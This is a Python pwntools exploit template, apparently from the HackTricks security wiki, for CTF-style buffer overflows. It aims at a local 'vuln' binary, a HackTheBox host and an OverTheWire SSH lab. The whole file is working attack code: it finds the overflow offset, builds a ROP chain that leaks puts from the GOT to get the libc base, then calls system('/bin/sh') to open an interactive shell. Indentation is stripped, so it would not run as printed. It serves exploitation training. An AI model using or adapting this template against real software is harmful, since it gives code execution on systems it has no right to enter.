hacktricks/.gitbook/assets/template.py

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from pwn import * # Import pwntools
####################
#### CONNECTION ####
####################
LOCAL = True
REMOTETTCP = False
REMOTESSH = False
GDB = False
local_bin = "./vuln"
remote_bin = "~/vuln" #For ssh
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
if LOCAL:
p = process(local_bin) # start the vuln binary
elf = ELF(local_bin)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
elif REMOTETTCP:
p = remote('docker.hackthebox.eu',31648) # start the vuln binary
elf = ELF(local_bin)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(remote_bin) # start the vuln binary
elf = ELF(local_bin)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(p.pid, "continue")
####################
#### Find offset ###
####################
OFFSET = "A"*40
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(p.clean())
p.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
p.interactive()
exit()
#####################
#### Find Gadgets ###
#####################
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
# Notice that if a libc was specified the base of the library will be saved in libc.address
# this implies that in the future if you search for functions in libc, the resulting address
# will be the real one, you can use it directly (NOT NEED TO ADD AGAINF THE LIBC BASE ADDRESS)
#################################
### GET SHELL with known LIBC ###
#################################
BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
##### Interact with the shell #####
p.interactive() #Interact with the conenction